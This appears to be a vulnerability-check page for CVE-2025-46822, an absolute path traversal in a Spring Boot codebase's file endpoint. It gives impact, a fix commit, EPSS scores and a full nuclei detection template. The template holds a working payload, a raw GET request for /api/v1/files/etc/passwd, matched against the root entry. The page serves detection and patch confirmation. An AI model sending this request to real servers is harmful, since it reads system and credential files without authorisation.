Java-springboot-codebase 1.1 - Arbitrary File Read

highseverity

4.1%likelihood of exploitation, next 30 days

91%of all CVEs are less likely

Readycheck to confirm it

OsamaTaher/Java-springboot-codebase is a collection of Java and Spring Boot code snippets, applications, and projects. Prior to commit c835c6f7799eacada4c0fc77e0816f250af01ad2, insufficient path traversal mechanisms make absolute path traversal possible. This vulnerability allows unauthorized access to sensitive internal files. Commit c835c6f7799eacada4c0fc77e0816f250af01ad2 contains a patch for the issue.

Impact

Attackers can read arbitrary files from the server through absolute path traversal in the /api/v1/files/ endpoint, potentially exposing sensitive system files and credentials.

Fix

Upgrade to commit c835c6f7799eacada4c0fc77e0816f250af01ad2 or later that properly validates file paths.

How to confirm it

Send: GET /
Positive when: contains_any(body, "Whitelabel Error Page","explicit mapping")
Send: GET /api/v1/files/etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2025-46822 -u <target>

The full check

id: CVE-2025-46822

info:
  name: Java-springboot-codebase 1.1 - Arbitrary File Read
  author: haliteroglu25
  severity: high
  description: |
    OsamaTaher/Java-springboot-codebase is a collection of Java and Spring Boot code snippets, applications, and projects. Prior to commit c835c6f7799eacada4c0fc77e0816f250af01ad2, insufficient path traversal mechanisms make absolute path traversal possible. This vulnerability allows unauthorized access to sensitive internal files. Commit c835c6f7799eacada4c0fc77e0816f250af01ad2 contains a patch for the issue.
  impact: |
    Attackers can read arbitrary files from the server through absolute path traversal in the /api/v1/files/ endpoint, potentially exposing sensitive system files and credentials.
  remediation: |
    Upgrade to commit c835c6f7799eacada4c0fc77e0816f250af01ad2 or later that properly validates file paths.
  reference:
    - https://github.com/OsamaTaher/Java-springboot-codebase
    - https://nvd.nist.gov/vuln/detail/CVE-2025-46822
    - https://github.com/OsamaTaher/Java-springboot-codebase/security/advisories/GHSA-q6mm-cm37-w637
    - https://github.com/OsamaTaher/Java-springboot-codebase/commit/c835c6f7799eacada4c0fc77e0816f250af01ad2
    - https://github.com/PuddinCat/GithubRepoSpider
  classification:
    epss-score: 0.04072
    epss-percentile: 0.90775
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2025,java,springboot,codebase,lfi,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(body, "Whitelabel Error Page","explicit mapping")'
        internal: true

  - raw:
      - |
        GET /api/v1/files/etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from